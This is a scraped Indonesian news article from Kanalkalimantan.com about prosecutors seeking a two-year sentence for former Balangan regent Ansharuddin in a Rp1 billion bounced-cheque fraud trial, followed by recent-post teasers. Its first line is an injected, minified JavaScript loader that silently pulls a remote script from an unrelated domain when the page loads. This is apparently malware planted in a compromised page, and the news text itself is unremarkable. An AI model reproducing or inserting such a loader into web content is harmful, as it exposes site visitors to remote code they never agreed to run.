(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Sidang Kasus Cek Kosong Rp1 M, Mantan Bupati Balangan Dituntut Dua Tahun Penjara


KANALKALIMANTAN.COM, BANJARMASIN– Sidang lanjutan kasus cek kosong senilai Rp 1 miliar yang menyeret mantan Bupati Balangan Ansharuddin, kembali digelar di Pengadilan Negeri (PN) Banjarmasin, Kamis (26/8/2021). Sidang yang mengagendakan pembacaan tuntutan ini, Jaksa Penuntut Umum (JPU) menuntut Ansharuddin hukuman dua tahun penjara.

Dipimpin Ketua Majelis Hakim Aris Bawono Langgeng, tim JPU dipimpin Agus Subagya mengatakan, terdakwa secara sah dan meyakinkan telah melakukan penipuan seperti yang diatur dalam Pasal 378 Kitab Undang-Undang Hukum Pidana (KUHP).

“Terdakwa secara meyakinkan telah melakukan tindak pidana penipuan sebagaimana di atur pasal 378 KUHP,” kata anggota JPU, Fahrin kepada Kanalkalimantan.com.

Beberapa hal yang menjadi pertimbangan JPU atas tuntutan tersebut, karena selama proses panjang persidangan hingga agenda pembacaan tuntutan, terdakwa tidak mengakui perbuatannya.

 

 

Baca juga: Bareskrim Polri Tangkap Ustadz Yahya Waloni di Rumahnya di Cibubur

Menyikapi tuntutan JPU, Ansharuddin yang hadir saat sidang dengan mengenakan baju sasirangan warna kuning-coklat ini enggan komentar dan langsung beranjak dari ruangan sidang.

Melalui kuasa hukumnya M Mauliddin Afdie, terdakwa menyatakan menolak semua isi dari tuntutan yang di bacakan oleh tim Jaksa.

“Nanti akan sampaikan dalam pledoi yang digelar 2 September apa saja pokok-pokok yang bisa dilihat dalam kasus ini,” katanya.

Mauliddin mengatakan, jaksa hanya fokus pada penyerahan cek yang katanya kosong pada tanggal 23 April 2018. Padahal pada faktanya, Ansharuddin ketika itu sedang berada di Jakarta mulai dari tanggal 23- 24 April 2018.

“Sehingga hemat kami peristiwa penyerahan cek kosong pada tanggal 23 April 2018 adalah berbeda dengan peristiwa yang sebenarnya,” ujarnya.
Sebelumnya, Bupati Balangan periode 2016-2021 ini diduga melakukan penipuan terkait cek kosong dan disebut gagal mengembalikan dana terkait hutang-piutang senilai Rp 1 miliar kepada saksi pelapor. (Kanalkalimantan.com/seno)

 

Reporter: seno
Editor: cell


Desy Arfianty

Recent Posts

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

43 menit ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

3 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

3 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

4 jam ago

HUT Ke-129, BRI Tawarkan Promo Spesial KPR

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More

6 jam ago

BRI Hadirkan Banjir Promo di HUT Ke-129, Cek di Sini!

KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More

6 jam ago